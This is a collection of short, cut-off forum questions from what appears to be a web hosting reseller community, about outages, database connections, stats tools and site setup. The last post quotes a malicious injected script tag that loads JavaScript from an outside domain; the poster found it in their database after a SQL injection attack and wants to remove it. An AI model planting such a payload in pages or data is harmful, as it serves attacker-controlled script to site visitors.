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Two days ago I opened a ticket about extremely slow response from webmail. I received a reply that there was nothing wrong, even though it was clearly not working properly. Since early this morning I and my clients have been totally unable to access webmail. We eventually get a 504 bad...

This is the third time now a customer has emailed me that their website was returning "Service Unavailable". I already emailed support and they said it was fixed, but the site is still not responding. Same thing last week. Is there anything can be done about this? Do I need to move to a new...

I have an interesting problem; I have a folder of images uploaded by users. What I need to do is get a count of how many files are in there. There's probably way over 15,000 files in there; my ftp program just hangs trying to do a 'ls', and it seems there is no "count" command in ftp (this is...

A client is getting "Connection dropped by IMAP server" when logging into Squirrelmail. When I sent a ticket to support, that bounced back "unable to deliver; giving up". Can't seem to get any response from Live Chat

I set up MySql and an admin user. Can access fine with PhpMyAdmin. But when I try to run the WordPress install page I get this error: We were able to connect to the database server (which means your username and password is okay) but not able to select the myuser_wp database. * Are...

I have a request from a client to redirect visitors from Japan to his US .com site back to the .jp website (which is hosted by his distributor and not under my control). I know sites like Google do this all the time - detect your incoming IP location and redirect you to the local version...

Just wondering if anyone's had experience installing Joomla? Any reason I should favor Win or Linux platform? This would be an existing Joomla site I'm moving from another (unresponsive) host, probably on Linux. Has anyone ever migrated an existing site before? Are there database issues I...

I've been developing a site on my testing server and now need to move the SQL database to my client's Jodo account on MSSQL12. On my dev server I start the Import/Export wixard, but it fails with the message "Could not allocate a new page for database because of insufficient disk space in...

I've got a prospective client who has a cart software that needs to install an executable in the cgi-bin. Has anyone come across this or know if it's possible. I've asked for more info from the developer, but from what I can see it all runs on a url in the form of /cgi-bin/commerce.exe It may...

I was assured the Webalizer problem was almost fixed. But it's still stopping randomly for several clients - including one who is getting very frustrated with me at this stage because it seems to be stopping frequently. I really don't want to have to check every clients We stats every day to...

I previously had a ticket open about Webalizer not updating one domain. Issue was reported as fixed, but today I got a call from my customer that stats stopped generating again mid-March. When I randomly checked 4 or 5 other domains, all of them have not had stats generating since various...

In client CP I created a MSSQL user and two databases on MSSQL11. However when I connect to it with MS Management Studio I can not see the databases I created. I get an error message if I try to issue command "USE [database name] On suggestion of support I also installed SQL Manager Lite...

Ok, maybe a dumb question after being here so long, but is there an easier way to see which Win server my domains are on? I know I can go into my reseller CP and search for the domain, then click the account number to open another window and look at Host Name. But is there some more central...

I have a need to create a zip file of images on the server. The list of images changes frequently and it's difficult to keep the zip file up to date. I'd like to create a script so that whenever the images change we could run this script to delete the old zip and create a new one with the most...

I installed the free SQLExpress with Management Studio. I seem to be able to connect, and see the list of databases. In connection properties i tell it to connect only to my database. However, if I try to run a query I get error "Cannot execute script - Unable to start TransactSQL debugger...

GOt a call from a client unable to send email. He should be on mail8, but I can't find it listed in jodopulse. Is it down?

Someone on MySpace was using one of my user's images - linking it directly. He tried to contact this person and got no response, so he deleted the image. But the link is still there and this seems to be a very popular MySpace page because now the errors are clogging up my logs. Does anyone...

I had to reinstall Aqua Data Studio and have lost my connection info. When I try to set up a new connection, I'm getting errors "the syntax of the connection url is incorrect". Does anyone use this program, and could help me with getting this connection string? I'm on mssql9. thanks

I have a client who wants to build a site where customers can get a live preview of text and graphics before ordering product. He's seen a couple of sites that do this, where you check some options in a form, choose a font, enter your text and the site generates an image on the fly. The...

Wondering if anyone can help me with removing some junk inserted into my tables by a SQL injection hack. They somehow managed to append the text '<script src=http://www.banner82.com/b.js></script>' to several of my text fields. Where the fields were previously empty it's easy to remove, but...